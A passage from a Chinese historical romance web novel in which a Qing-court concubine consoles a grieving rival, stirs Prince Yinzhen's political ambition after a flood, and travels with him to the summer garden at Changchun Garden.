还是等到手放进刚烧好的水里,温热的水将他的知觉回复,他才大笑出声:“苏培盛,这次给你李主子记一大功!”
苏培盛忙顺着赞了李芙儿许久,胤禛听得浑身舒畅。
康熙对诸阿哥的考评,时刻都有起居注官做记录,大清以孝治天下,得了孝顺的评价,他日后开府出宫,当差行走都有好处。
用一碗姜汤便换来孝顺的评价,以及康熙的关心,着实让胤禛满意不亿,还没回宫,便盘算着要给李芙儿什么赏赐了。
而在宫里的李芙儿,却正在见一个预料之中的客人。
23. 开解
胤禛出京已经好几天了,李芙儿算着他的行程,若无前一日暴雨的阻拦,此时应该已经到了无定河。
不过,夏日的雨也是一阵一阵的,昨儿个午时天便被乌云遮挡得黑了,雨更好像是天上被拉了口子一样地泄出。
今日里又是艳阳高照。
即使胤禛被短暂地绊住脚步,今日也能正常启程。
“可怜无定河边骨,犹是春闺梦里人”,李芙儿在微黄的宣纸上慢慢写着这句诗,思绪已经远去。
“主子,宋格格来了!”正在这时,秋菊神色复杂地进来回禀。
胤禛出京后,后院又沉寂了下来,没了男主人在,失去了争抢的对象,彼此之间也没什么好斗的,甚至互相约着喝茶赏花,抹牌嬉戏。
在屋子里静养了几个月的宋格格,也终于打开了厢房的门。
“快请她进来。”
对于宋格格的到来,李芙儿并不意外,宋格格发动那天,李芙儿很是出了大力,尽管小格格没有保住,但宋格格派人来表达过她的谢意。
不论是真领情还是假感谢,宋格格身子恢复好后,总得走这么一遭。
鱼戏莲叶门帘被掀起,夏日的热风从门外吹了进来,屋子里摆着的冰盆融化出越来越多的水。
李芙儿见着走进来的人,惊地站起,难怪秋菊深情如此异样,此时李芙儿的眉梢也高高扬起。
夏日的紫禁城格外热,屋墙又高又厚,全不透风,闷的不行,李芙儿令人在屋子里摆了好几个冰盆,都浑身冒汗。
宋格格却穿着夹棉的衣裳,外头还披着斗篷。
一张脸煞白,巴掌大的脸上瞳仁黝黑,看着甚至有些瘆人。
走进屋子时,甚至还打了个哆嗦。
李芙儿骇然,赶紧招呼着她在上首坐下。
宋格格谦让几次,推辞了上首的位置,她裹紧斗篷,与李芙儿相对而坐。
秋菊垂着头将茶递上,闻着浓烈的茶香,李芙儿笑道:“这是今年福建那边的新茶,费了好大一番功夫才送到京里,我也只得了二两,宋姐姐您尝尝,可合您的口味。”
宋格格闻言,捧着茶不放,深深吸了口茶香,苦笑道:“妹妹这儿的茶,我闻着就是极好的,可惜我这身子不中用,喝了茶脾胃难受。”
此时的宋格格,憔悴、苍白又消瘦,眼眶凹陷,就连说出来的话,都有气无力,再没有李芙儿刚见她时候,隐隐要压过她的那份野心,精气神全散了。
李芙儿深深吸口气,忍住心底莫名涌上的心酸,“小泽子,快将这些冰盆撤下。”
小泽子躬着身子,带着粗使太监一溜跑来,李芙儿又张罗着将窗户打开,让外头的热气进来。
“李格格,不用这么麻烦。”见着西厢房的几个人被使得团团转,宋格格连忙制止,她来这边是为了道谢,不是来结仇的。
“没事,也到了每日通风的时辰,不用管他们。”
窗被打开,外头的蝉叫声更加激烈,似乎要将短暂的生命全部倾吐给这个夏日。
宋格格苦笑道:“我这些日子闭门养病,把日子给忘了,都不知道已经到了送冰的时候了。”
送冰的日子可还没有到,宫中的冰,是冬日里派人专门取了,冻在地下,等到夏天热了,再取出来,按照分例分给大小主子。
宫中存的冰是有数的,大大小小的主子又那么多,因此对于不同位份主子什么时候能领到冰,有严格的日子规定。
按着李芙儿的分位,得入了伏才能得到冰。
她现在用的,全都是胤禛的分例。
在离京之前,胤禛特意吩咐了留在宫里的太监,将内务府给他送来的分例全部送给李芙儿。
这才是李芙儿在刚入夏的时候就能用冰的原因。
但对着憔悴的宋格格,说这话难免有炫耀之嫌,李芙儿自然地转开话题:“今年热得格外早,也不知今年万岁爷还去不去避暑,能不能有机会去外头走走。”
入宫后,每天看到的都是四四方方的天,谁都希望出宫瞧瞧,听闻宫中的贵主们,为了伴驾的名额,每年都得闹上一阵。
李芙儿才入宫,没有赶上过避暑的盛况,难免有几分期待。
宋格格是最早伺候胤禛的,前两年曾随着胤禛去过蒙古,她眼睛放空地望着窗外湛蓝的天,声音微不可闻:“出宫啊,出宫多好啊!”
暗暗叹了口气,李芙儿也
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沉默下来,她好像看到宋格格正在渐渐被深宫吞噬。
“瞧我,又说什么痴话。”这份沉默还是背宋格格打破,她苍白的地笑了笑:“宫里自是极好的。”
她自嘲笑道:“生了孩子和傻了一样,本来是想向你道谢的,却七拉八扯说了这些扫兴的话。”
“李格格,”宋格格强笑着:“我过来是想感谢您,那日若是没有你,我可能都没法坐这儿和你说话了。”
“你的恩情,我记在心里。”
李芙儿抓住宋格格的手,情真意切说道:“宋格格何须如此客气,都是四爷院子里的人,我们日后还要长长久久地过呢。”
“难道你不恨我?一直想着踩你,压你,借着腹中的孩子将四阿哥抢过去。”宋格格摸着肚子,似笑似哭:“或许这就是我的报应,我用孩子来争夺宠爱,最后孩子离我而去。”
“我不恨你!”李芙儿轻声说着。
在宋格格诧异的眼神里,李芙儿再次肯定地重复:“我不恨你!”
“我为什么要恨你,你,我,后院里的其他人,都是一样的,为了四阿哥的宠爱而绞尽脑汁,都是为了让自己日子过好。”
“你要争宠,也得要四阿哥接招,我恨你有什么用呢?小格格更不是因为这个原因离开你的。”
“所以,这不是我的报应。”宋格格神情恍惚,喃喃问道。
“不,不是!”
自从小格格去了后,宋格格日夜处于自责之中,悔意如同毒虫,日日夜夜在她心中啃咬,让她痛彻心扉。
这是第一次,有人斩钉截铁地告诉她,这不是她的报应。
宋格格用手捂住脸,呜咽出声,哭声越来越大,最终变为嚎啕大哭。
秋菊和如意连忙冲进来,却看见李芙儿垂着眼,端着茶杯慢慢喝着,任宋格格哭得涕泗横流。
李芙儿随意地挥手,示意两人退出,让宋格格能痛痛快快的将心底的郁气散出。
夏日正午的阳光透过打开的窗户照进来,宋格格坐在阳光里,金灿灿的日头将她晒着,宋格格觉得骨子里的冷意渐渐离她远去。
在失去小格格多日后,宋格格第一次觉得身上暖和起来。
24. 无定
深宫里头时间好像都停滞了一样,日出日落,云卷云舒,只有从外头的花谢花开,才能感受到时间的流逝。
石榴花谢了满地,海子里的荷花露出了尖角,在夏日的风里,摇曳生姿。
在荷花的小花苞绽放的时候,圣驾终于回京。
李芙儿正将晨间内务府令人送来的荷花插在雨过天晴色美人觚中,便听见一阵喧闹之声。
荷悬在空中,花瓣上残留的水珠顺着倾斜的角度滴落。
啪嗒一声。
美人觚里的水被溅起涟漪。
“四阿哥回来了,是不是?”李芙儿扭头,看向消息最灵通的小泽子。
自从四阿哥离开后,这宫里已经沉寂了不知多久,也只有他,才能理所当然的闹出这些动静。
小泽子忙向外跑去,到了二门前,正好见着苏培盛在支使着小太监将马车拉进来。
得,不用打听了。
小泽子握住手心的银子,撒丫子往李芙儿屋里跑。
“四阿哥刚回来,舟车劳顿的,想必不会往后头来,辛嬷嬷今日炖的汤很好,令人给四阿哥送一碗过去。”
李芙儿确认了心中所想,撑着下巴,懒懒地吩咐道。
小泽子连忙取来食盒,也不嫌累,又跑着往前院去了。
他不怕累,只怕主子没有争宠的心气,主子得宠,下人才能鸡犬升天。
小泽子跑在长长的连廊里,鲜亮的彩绘在他头上闪过,他越过一个又一个当差的宫女太监,观察着有没有人在他的前头,心里发狠,这个头筹他一定要要替李主子占了。
“你来做什么?”苏培盛看着人将行李拉去了库房,又马不停蹄的到了胤禛身边伺候。
四阿哥身旁的事情,他把得严严的,半点也不让人插手。
“苏爷爷。”小泽子点头哈腰,高高举起手上食盒:“李主子听见前头动静,猜着是爷回来了,令我送碗热汤过来。”
啧,真不愧是李主子。
苏培盛心里啧啧称奇,这汤送得简直恰到好处。
四阿哥回宫的点,不当早不当晚的,御膳房早熄了火,没有什么菜了。
倒也不是不能令御膳房新做几个菜,饭前几天宫里钮祜禄贵妃又大病了一场,现在还躺在床上起不来身子,四阿哥听了这消息,止住了苏培盛去叫膳的动作,令他晚膳时再去取膳。
苏培盛捧着食盒进了里屋,胤禛正躺在摇椅上,闭目养神。
他在外头奔波数日,尽管他是龙子凤孙,但赶路途中没有准点,饥一顿饱一顿的时候并不少。
回到宫中,本想好好饱食一餐,却听见钮祜禄贵妃生病一事,多一事不如少一事,宫中人多口杂的,他又随着万岁爷去巡视河道,正被人盯着,没必要在这时候落人口舌。
胤禛早上只啃了几个冷了的饽饽,正是饥肠辘辘时候,突然闻见一阵扑鼻的香味。
胤禛睁开眼,却见苏培盛笑得脸上都起了褶子:“爷,这是李格格特意令人送来的。”
这汤,是炖了一上午的燕窝鸭子芙蓉汤,鸭油全被滤了出去,整碗汤汤色透亮,肉酥骨烂。
胤禛轻踹了苏培盛一脚,熟悉的味道入口,他瞬间回忆起在李芙儿屋子里的时光。
轻松、舒适,在她那里,他可以不要想外头的事情,全然放空。
三两口将整碗汤喝完,原本打算在自己屋子里修整的胤禛,从躺椅上站起:“去李格格那儿。”
“对了,你去库房里把南边进的那套首饰拿着。”走了几步,胤禛又想起了什么,扭头吩咐道。
苏培盛陪着笑去了库房,他就知道,下注李格格绝对没错。
小院里还是一派安静,听见胤禛一行人过来的声音,宋格格的厢房房门紧闭,丝毫没有动静,就连曾经是不是窥探李芙儿屋子的宫女,都不再盯着。
李芙儿听闻苏培盛派人的传话,不可谓不惊讶,她派小泽子送汤,只不过是为了表现她的体贴与关心,没想到这碗汤的功效这么大,竟然将四阿哥引了过来。
她本以为今日胤禛不会进后院的。
但胤禛既然来了,她也不会放过这个机会。
“爷,您回来啦!”李芙儿惊喜地笑着,小跑这扎进胤禛的怀里,她抬着眸,弯弯的眼中全是水意,是思念,是担忧,
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是惦记,是心疼。
“黑了,瘦了…”李芙儿抚摸着胤禛棱角分明的下颌线,喃喃自语。
“爷没事,比起受灾的百姓,这都不算什么。”
胤禛拉着李芙儿往屋子里走,低声安慰。
这话却让李芙儿心里发凉,她捂住嘴,低声惊呼:“爷,您遇见无定河泛滥了?”
李芙儿在京中长大,自然知道无定河的河道淤堵,隔不了几年便会肆虐,她小时候还见到过因为洪水冲垮了房子,出门讨生活的人。
没想到这次的洪水,让康熙和胤禛撞了个正着。
不过,今年的雨水格外多,胤禛他们路上还遇见了好几场暴雨,无定河泛滥,太正常不过。
“是啊。”胤禛长叹一声,又为李芙儿的敏锐而讶异,宫中的女子每天围绕着主子转,对外头的大事,早就没了那份关注。
将李芙儿虚虚抱在怀里,在贵妃塌上坐下,握着她莹润的手淡淡道:“是啊,黄沙千里,河水咆哮,只远远看着,都害怕被卷进去,谁也无法阻止堤坝的崩溃。”
“那两岸的人,日子可苦了。”李芙儿叹了口气,与胤禛说起儿时见闻。
瘦骨嶙峋,拖家带口,祈求着给一口饭吃,什么脏活累活都愿意干。
胤禛仔细地听着。
这次巡视河道,胤禛受到了不小的冲击,暴雨过后的第二日,他们一行人往无定河边走去,见着的是被冲垮的河堤,两岸的屋子倒塌地七零八碎,破布褴褛的百姓甚至都没有功夫为逝去的亲人哀悼,抖着手在泥泞里扒拉还能用的东西。
任人如何驱赶,也不离开。
没有家当,就算没被河水卷走,也活不下去。
他自诩不是何不食肉糜的阿哥,他曾经也随着康熙上过准噶尔的战场,甚至掌管过一旗的士兵,在战场上见过鲜血,但他没有见过这般苦痛的大清的百姓。
听了李芙儿的话,他对于那些百姓的日后生活,更加不忍。
然而在康熙的身边,他将心里的难受全部忍住,恭敬地听康熙命令行事,就连施粥也不敢动作。
这让胤禛痛苦,也让胤禛不甘。
25. 野心
胤禛的痛苦是如此的明显,他用手臂挡在眼前,却遮挡不住沉重的心情。
李芙儿默然。
前些日子的雨,京里京外都下了个遍,紫禁城建的时候排水做的好,水全顺着阶梯往低处流,千龙吐水,场面蔚为壮观。
在宫里,隔着雨幕,很是看了番热闹。
然而宫外的寻常人家,却结结实实的受了番罪。
更别提住在河边,山里的人,家瞬间就没了,变得流离失所。
民生多艰,不过如此。
眼中含着淡淡的悲悯,李芙儿从胤禛怀里站起,将他抱住,温柔地抚慰着。
胤禛被李芙儿轻柔地抚摸着发,心里咆哮的野兽渐渐平息下来,他咬着牙:“两岸官员着实可恶,媚上欺下,为了平息汗阿玛的怒火,随便糊弄几下便当作救了灾,只可怜了两岸的百姓,若换了我,若换了我…”
后头的话不能再说,再说,便是大不敬。
但胤禛的未竟之意,李芙儿听得明白。
她捧着胤禛的脸,直直地看着:“爷,您还未入朝当差,没法子做什么,这不是您的错,等日后您当差了,不仅能安置好百姓,还能治好这河,给两岸百姓一个安宁。”
李芙儿声音轻柔却肯定,她看向胤禛的眼璀璨如星辰闪耀。
胤禛一瞬不瞬地看着李芙儿,好半晌,扬起嘴角,笑了起来。
他的眼越来越亮,目光灼灼:“你说得对,我学文,习武,本事不比任何人少,凭着。”
胤禛眼里燃起野望,曾经的混沌不明在这一瞬间突然清晰。
胤禛从没有过一刻,比这时候更加渴求权力。
不是为了奢华的享受,而是要实现他的抱负,必然要掌握权力。
这一刹那,命运的丝线悄然转动,一颗名为野心的种子,在胤禛心里埋下。
他手臂用力,将李芙儿按在怀里,紧紧地搂住,平复着激荡的心。
黄历撕了一张又一张,凶吉日子也在无波无澜里度过,唯有越来越热的天,展示着深宫里的时日没有停住,依旧不断往前走着。
自那番谈话后,胤禛又是好多天没有踏足后院。
许多人都在私下猜测,是不是李芙儿惹怒了四阿哥,失去了宠爱。
就连宋格格,都撑着病体过来劝慰了她几句。
但这些或幸灾乐祸,或替她担忧的话语,并没有在李芙儿心里引起任何波澜,西厢房也没有任何动作。
这让等着看她热闹的人纷纷折戟。
但这也怨不得李芙儿。
宫里的夏天实在是太热了!
已经到了暑热难耐的时候,自入了伏,呼吸湿热而沉重,浑身上下黏哒哒的。
屋子里摆着冰盆也全没有作用。
李芙儿住在火烧似的宫殿里,每日恹恹的,精力全放在如何渡过这个酷暑上。
一想到这大热天里,两个人肌肤相贴,就好像是两个火炉,李芙儿便全然没了争宠的欲望。
甚至,就连饭也不想吃了。
御膳房送来的膳食油汪汪的,看着便不想入口,秋菊绞尽脑汁,也没让李芙儿胃口好起来,只能果子澎在井水里镇着,每日借着清凉的果子饱腹。
没多久,李芙儿便清减了一圈,圆润饱满的脸颊瞬间瘦了下来,下颌线清晰可见,下巴都尖了,衬得眼睛更大,失了稍显幼态的稚气,更加艳丽地惊心动魄。
李芙儿在这个夏天,彻底地绽放。
她照着镜子,纤细的手指顺着下颌线抚过,看着愈发美丽的脸颊,久久移不开视线。
“怎么瘦成这样了?”
铜镜中突然出现另一个人的身影,李芙儿忙转过身子,拍着胸脯喘着,似惊似怨。
“爷,您来了,快把我吓死了!”
胤禛弯腰,宽大的手掌盖在李芙儿的脸颊上,感受着手心传来的截然不同的触感,他目光深沉:“就这么想爷?苏培盛说你茶不思饭不想的,爷还不信,怎么就把自己折腾成这般模样。”
李芙儿眨巴着眼,这真是一个美好的误会。
她将手贴上胤禛的手背,眷恋不已:“爷,您外头的事情都忙完了?”
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“差不多了。”
李芙儿见证了胤禛燃起野心的全程,在胤禛心里,她已经不止是能给他带来一夕欢愉的普通格格,更是他的知己,是最了解他的人。
对于外头的事,胤禛并没有瞒着李芙儿的打算。
他怜惜地看着李芙儿清瘦的脸,将他做的事情慢慢道来。
自那日离去后,胤禛便开始了布置了。
尽管康熙和太子前些日子闹了不虞,但太子的位置依旧稳若磐石,此时的胤禛,尚未兴起谋夺大位的心,他最大的野心,也不过是能当个实权王爷,为大清天下尽一分力。
胤禛尚未开府,也没有领到旗人,手中能用的人有限,不过是在康熙亲征准噶尔之时,他在所掌的正红旗大营里结识的一些人。
这些日子,胤禛所做的事,便是一边向太子示好,一边令人悄悄寻摸得力之人招揽。
“真好!”李芙儿手蹭着胤禛的掌心,笑得眉眼弯弯:“我就知道,爷想做的事情,一定能成。”
黝黑的眼中露出隐秘的笑意,李芙儿眼底的肯定与依赖,让胤禛素了多日的身子轰地燃烧起来。
他将李芙儿压在梳妆台上,衣钿散落满地,昏黄的铜陵镜里,人影交叠。
呼出的热气洒在铜镜之上,将镜子里的人影遮住,倏然,一只修长的手印上铜镜,蒙着的雾气上留下鲜明的掌印,手顺着铜镜往下滑,又被古铜色的大手握住,交缠相扣,缠绵悱恻。
“瘦了。”
单手圈住李芙儿的腰,胤禛皱着眉低头吻着李芙儿背上的蝴蝶骨:“想见我了派人去前头,我难道会不过来?何苦这么折腾自己。”
“是,呼,是太热了,”李芙儿急促喘着,扭过身子,看着胤禛的眼睛澄清这个误会。
转身间,一阵蚀骨的快感传来,胤禛决定给枕边人留着面子,他轻笑着哄道:“好,是太热了。”
李芙儿这才将潮红的脸转了回去。
一时事毕,云消雨歇,两人整理干净,躺在拔步床上,胤禛揉着李芙儿的手问道:“想不想出宫避暑?”
26. 避暑
伏天的夜里依旧燥热,尽管刚刚洗过澡,身上又是汗涔涔的,李芙儿一骨碌爬起来,眼中亮光闪闪。
“避暑!”
前些日子她才和宋格格谈起,不知能否有机会出宫避暑,还不等她旁敲侧击,今儿个胤禛便主动提起了这件事。
李芙儿在市井长大,在家时常常能出门游玩,一入宫只觉得逼仄,早就憋闷的不行。
听了这话,李芙儿连连点头,她也顾不上暑热,倚在胤禛身旁,殷勤地帮他捶肩揉背。
柔若无骨的手在背上游弋,胤禛眼神暗了暗,他反手按住李芙儿的手,将她拉到身前抱住。
“嗯,”胤禛低哑应了一声,凑到李芙儿耳旁,轻声说道,“贵妃娘娘前者日子又病了一场,太医说宫里环境不适合养病,汗阿玛说去畅春园避暑。”
畅春园!
李芙儿在宫外就听过这个园子的大名,建在京郊,旁边都是大大小小的水洼,夏日里是难得的凉爽。
往年贵人们去避暑的时候,李芙儿还去路上看过热闹,华盖开道,旌旗飞扬,没想到今年她也能去那儿避暑。
想起往事,李芙儿眼中水润,她躺在胤禛的胸膛上,忘记了暑热,叽叽喳喳说个不停,好像百灵鸟一般,与胤禛说着她围观的见闻。
胤禛闭着眼,听着李芙儿的话,清脆之声好似大珠小珠落到玉盘。
好半晌,胤禛遗憾地叹了口气。
这让李芙儿兴奋的话语止住,透过月色,她小心地看着胤禛的脸色,见他没有不耐之意,眨着眼问:“爷,怎么了?是不是我说太多了。”
月儿皎洁悬挂天边,如霜的月色倾斜而下,在朦胧的流光里,李芙儿好似在发光。
“爷是在可惜,怎么之前没有见到你。”
若见到了,早就请旨将她纳入后院,早早的纳入掌中,免得在外头被人觊觎。
想到这,胤禛的眸色更加暗沉,他摩挲着白皙的脖颈,满手的滑腻柔软,感受到手掌下的身子顺着他的动作微微颤抖,胤禛心情变得愉悦。
“您说什么呢,”李芙儿扬着头,漂亮的杏眼里满是嗔意:“我那时候才多大,就算您见到了,也不会放在眼中。”
胤禛哼笑两声,想到小小的李芙儿,童言童语惹人怜爱的模样,便恨不得将她养在宫中,让她从一个小小的孩子慢慢长大,满心满眼只有一人。
想到这,胤禛兴致更高,他抚摸着李芙儿柔软的小腹,饱含期待:“什么时候给爷生一个小格格。”
笑意止住,宋格格的前车之鉴还在眼前,李芙儿对于生孩子暂时没什么期待。
李芙儿对现在的日子很满意,她吃得好睡得香,还有胤禛的宠爱,远没到到必须用孩子争宠的地步,此时的她恨不得孩子来得越晚越好。
但眼前这位主子爷的想法却和李芙儿完全不同,他一想到小号的李芙儿,只觉得心软成一团。
胤禛喉结滚动,恨不能立时再来一次,好让李芙儿尽早怀上孩子。
感受到枕边人的意动,李芙儿忙翻身抱住,撒娇着引开他的注意:“爷,我还没有去过畅春园,里头什么情况,您和我说说呀。”
声音柔媚,声声入耳,胤禛也酥了心肠,他搂住软绵的身子,细细和她讲述起来。
月儿被浮云遮住,银白的月光不见踪迹,暗下来的屋子里,唯有私语之声。
翌日,早起送走了胤禛后,李芙儿便将屋子里人全召集起来,与他们说了避暑一事。
“避暑,这是好事呀!”在其他人愣着时,辛嬷嬷最先反应过来,她一拍手掌,笑容满面地道贺。
先不说能出宫过几天松快日子,就说四阿哥想着李主子,对李主子而言,就是天大的好事。
被辛嬷嬷的连番道喜逗的笑出声来,李芙儿喝了口茶,压住笑着,这才将她的安排一一道出。
这些日子冷眼瞧着,辛嬷嬷是个立得住的,便将屋子里大大小小的事情悉数托付给她,务必看好门户。
冬梅不若秋菊机敏,但最是稳重,便留下来给辛嬷嬷打下手,日后等辛嬷嬷老了,屋子里的事便让冬梅接手。
这个安排,两人都很满意,辛嬷嬷高兴于是能够独掌大权,而冬梅则是有了一份能奔的前程。
遂两人高高兴兴地磕了头
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,辛嬷嬷拍着胸脯保证:“主子您就放心,我一定将屋子看好,连蚂蚁都不让爬进来一只。”
李芙儿一口茶水呛在嗓子眼,咳嗽好几声才顺过气来,指着辛嬷嬷笑道:“就你促狭。”
屋子里的事安排妥当了,便是随身伺候的了,秋菊与小泽子雀屏中选。
自从得知了要跟去畅春园伺候,秋菊和小泽子这几天当差都格外有劲,多番打听,小泽子确认了四阿哥身边带着的女眷只有李主子一人后,他连走路都带风,睡觉都想着要怎么才能伺候好李主子。
秋菊更是早就将包袱皮摊开,挑挑拣拣地收拾着行李。
窗外的蝉叫得更加撕心裂肺,日夜不休,在蝉声阵阵中,终于到了出宫的日子。
贵妃娘娘要随着去园子里养病,宫中的事情却依然不少,四妃里的惠妃和荣妃留在宫中理事,德妃与宜妃伴驾出行。
但延禧宫和钟粹宫也没能安静,在德妃和宜妃之外,康熙还带上了最近颇为喜爱的妃嫔们,东西六宫热热闹闹的,一大早就喧哗起来。
行李被小太监们送到最后,妃嫔们按着份位,大妆上了自己的马车,份位高如宜,德二妃,马车宽敞而舒适,贵人、格格们就只能两人一架马车。
托胤禛只带她一个的福,李芙儿独占了一驾马车。
虽然只不过是青布马车,远没有妃子们的豪华,但李芙儿也知足了。
钦天监算好的吉时已到,鼓乐响起,在钟鼓馔玉之声中,马鞭在空中挥过三次,发出尖锐鸣啸。
帝王坐着的御辇缓缓启程。
伴在身后的,是贵妃娘娘的轿子,再是妃嫔,妃嫔之后,才是阿哥们的内眷。
队伍的最后,是宗亲贵戚,文武百官。
长长的队伍顺着西华门而出,走上被泼水净过的大街。
街上早就被清场,两旁站满了侍卫,隔着胡同里看热闹的人群。
胡同里的百姓远远隔着,见着金灿灿的皇家卤簿,遥遥磕头。
曾经的李芙儿,也是其中的一员,她凑到马车窗户旁,隔着窗框的雕花,使劲往外看着,久久没有收回目光。
27. 许诺
帝王仪仗蜿蜒,宛若游龙,从京城游弋到京外,出了京城,平整宽阔的道路消失,马蹄踩过,车轮滚滚里,全是尘土的喧嚣。
没了两旁围观的百姓,队伍里的人都松弛下来,胤禛也放慢了速度,悄悄地坠在队伍之后。
“在看什么?”短暂的途中小憩之后,李芙儿正对着马车的窗户发呆,青布帘子骤然被掀起,沾满尘土,灰头土脸的胤禛钻了进来。
“爷,”从怔忡中回神,李芙儿忍不住笑出声来:“怎么这般狼狈。”
素来仪表堂堂的龙子凤孙,骤然尘满面、灰满身,若非身上华贵的衣裳,看着与田间的农人没甚区别。
马车虽小,东西却一点也不少,李芙儿一边笑着,一边从马车上的水壶中倒出热水,将随身携带的帕子沾湿,轻轻地在胤禛脸上擦拭着。
柔软的帕子拂过,洁白的锦帕瞬间变黄,脸上一擦便是明显的一道,没多久便显露出原来的模样。
李芙儿将弄脏的帕子仍到小案几上,在錾金银香炉和白玉如意间,灰黄的帕子格格不入。
“回头我让人给你送几匹缎子,你多做些衣裳帕子。”胤禛咳一声:“外头灰太大了,京外不比京里,跑一圈下来浑身都得脏透。”
李芙儿弯下腰,帮胤禛拍着身上的土,灰黄的尘土簌簌而落:“我这儿带着您的衣裳呢,要不换一身?”
“不用,一会儿还得出去。”
进马车待了会儿,出去便换了身衣裳,对李芙儿的名声不好。
胤禛见李芙儿呛了一下,抬手止住她的动作,自己抖落几下,尘土在脚下汇成一堆,等弄干净了身上的土,他掀开袍角,大马金刀地坐下。
“刚刚在想什么?”
胤禛又问了一遍,刚进马车时候的问题。
他掀开车帘的时候,只看见李芙儿的侧脸,却觉得眼前人是那么遥远,人虽然还在,思绪却不知去了何方。
胤禛握了握手掌,只觉着手心空空,他执拗地问着李芙儿,盯着她的眼睛,让她回话。
李芙儿挪了挪身子,给胤禛腾地方,但马车里面就这么大,两人人坐着如何都会挨挨挤挤,李芙儿将头侧着,靠在胤禛的肩膀上,呼吸间是风与尘的气息。
“爷,”李芙儿手伸着,虚虚笼着窗框:“我在家的时候,也见过万岁爷出行呢。”
这话,李芙儿曾经说过,但胤禛也没有阻止,只耐心地听着。
“当时也是一样的热闹,到处都是人,侍卫们在前头开道,我们挤在人群里,看着长长、长长的队伍,也不知经过的到底是哪位贵人,看得可高兴了。”
“也不知今日的这些人里,有没有我的阿玛、额娘,弟弟和妹妹。”
李芙儿怅惘地叹了口气,她家不过是汉军旗的普通人家,她阿玛有份差事过日子,远没到能给额娘请封诰命的时候,若额娘有诰命,逢年过年大日子还能进宫祝贺,多少能见一面,但寻常人家,入了深宫,便与家人再不能相见。
即使未来四阿哥出宫开府,外头管的没有宫中严,她这个格格的家人,也是没有资格上门的。
还不知这辈子有没有与家人再见的时候。
越想越伤心,李芙儿沉郁地不愿说话,全然没有早些时日,在宫里听说能出宫的欣喜。
“就为了这事伤心?”胤禛不解地地看着李芙儿,他靠在引枕上,随意说道:“等日后爷掌旗务了,将你们家要到我的旗下,给你阿玛个官职,不就可以了吗?”
清朝的阿哥,出宫当差后,便会有自己掌管的旗人,他们成为旗主后,名下的旗人都是他的下属,为他效忠。
相对的,旗主也能够安排所属旗人入朝当官。
“谢爷的恩典!”喜意涌上心头,随即便是犹豫。
李芙儿拨弄着胤禛的手,期期艾艾:“可是,爷,我阿玛没什么本事,可能担不得重任,别误了您的事情。”
说着,她强忍心痛拒绝,德不配位必有灾难,当了官虽然家里境况能变好,但是当差出了岔子被追究起来,又有几条命够填的。
不若她多攒着金银,给家里送去。
至于见不到家人,那也没有办法,宫中的贵主子,都多少年没见到过家里人了,别人能忍,她也能忍。
“嗯
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,”胤禛拖长了声音,看着李芙儿毅然决然的模样,暗暗点头,在这种事情上能拎得清,是个眼明心亮的,不怕她做糊涂事。
胤禛淡淡笑了:“除了正经当差的官员,还有虚衔,日后给你阿玛找一个虚衔,如何?”
“爷,您真好!”
本来以为家里已经与官职无缘,李芙儿正心疼着,却听见胤禛这般说道,这让李芙儿喜不自胜,粲然笑着。
她拉着胤禛的袖子摇晃着,撒着娇谢恩,很快她又觉得这样不足以表达她内心的喜悦,从胤禛肩上抬起头,对着胤禛的脸亲上去。
胤禛顺势后仰,半躺在引枕上,先是感觉到香风迎面,随即便是细如雨点的亲吻,密密的落下。
在外头奔波了大半天,没有净面,胤禛下巴上冒出了青色的胡茬,亲上去硬硬的,扎的嘴唇难受。
红唇到处移动着,在耳后脖颈细嫩处重重吮吸。
胤禛眼中黑沉,似要噬人,他双手将李芙儿抱住,紧紧困在怀里,警告道:“别闹。”
看着李芙儿还有精力作怪,胤禛悬了一路的心放了下来,这段路程李芙儿似乎很是适应,没有遭罪。
他静静的抱着李芙儿,看着车窗外连绵的青山。
车轮粼粼,向前走着,走过了一个又一个山峰,胤禛平复了身上悸动,胤禛掀开了车帘,跳下马车,翻身上马,去了前头的御辇旁。
路上整整走了一整天,到天黑之时,一行人才到了畅春园。
畅春园是由康熙下令修建的园林,与红墙黄瓦的紫禁城不同,这园子全然是小家碧玉的江南风味。
隔着昏暗的天光,李芙儿坐着的马车走过了小桥流水,走过了白墙黛瓦,也走过了一个个小巧玲珑的亭台楼阁。
等到马车停下,李芙儿被搀扶着下了马车,便到了皇子所。
入目的是一个一进的小院子,面阔三间,皇子所掩映在茂林修竹之下,阵阵风吹来,带来西花园荷池里的水汽,夏日的暑热全消。
顺着引路太监的脚步走进屋子,李芙儿站看着屋子里的陈设,站在原地,惊诧问道:“我住这里?”
28. 渴望
水声澹澹,龙吟潇潇,推开窗便能见着西花园池子里蔓延的荷花,粉白的荷在风的吹拂下,晃晃荡荡着。
确实是个绝佳之所。
但,再如何绝佳,也掩盖不了眼前这屋子只有小小三间的现状。
正中间的一间屋子,被当成了正厅,招待来往客人,东边靠阳的屋子,靠窗放着书案,上头摆着笔墨纸砚等物,一个青花大缸放在书案旁边,里头放着卷起的画轴,再往外走,靠着墙摆满黄花梨架子,满满的全都是书。
这是胤禛的书房。
剩下的一间屋子,自然就是寝房了。
这寝房布置的倒也颇为精巧,屏风将小小的屋子隔成两部分,外头是铺着江南制造新送来锦缎的雕花床,里头则放着浴桶,当做净室。
屋子虽然不大,也足够住人。
但,这可不是李芙儿一个人住,还有胤禛这个大佛呢。
李芙儿转遍了整间屋子,也没有找到第二张床榻,她终于确认,在畅春园住的这些日子里,她日日都得与胤禛同寝同食。
“我刚刚入宫,第一个来园子里,规矩也不甚明白,还请嬷嬷替我分说一二。”
使了个眼色,秋菊将塞着银子的荷包塞进了王嬷嬷手中。
王嬷嬷以前也是在紫禁城当差的,年纪大了没有抢到主子身旁心腹嬷嬷的地位,被排挤到了畅春园,久未在主子跟前露脸。
听了李芙儿的询问,王嬷嬷瞬间来了精神,她琢磨着李芙儿的用意,仔仔细细说道:
“这屋子在畅春园的西边,是万岁爷特意分给阿哥们住的地方,万岁爷领着主子娘娘们,奉皇太后老人家住在中轴的院子了,西花园和中轴有门相通,由太监守着,必须持令牌才能通过,到了日落时分,那门被管院嬷嬷锁上,非诏不得开。”
“那其他阿哥们也是这样?”
李芙儿环视屋子,意有所指。
“这,”王嬷嬷终于理明白李主子在犹豫什么,她迅速看了看旁边,见没有外人,一咬牙,声音压得低低的:“大阿哥和三阿哥与福晋同来,太子爷住在万岁爷院子旁,五阿哥住在皇太后院子旁,那边的院子,比这儿要大几分。”
至于七阿哥,八阿哥,乃至更小的阿哥们,身边最多只有通人事的宫女,选秀还没给他们指人。
明白了,李芙儿若有所思,她与胤禛同住一屋,是独一份的。
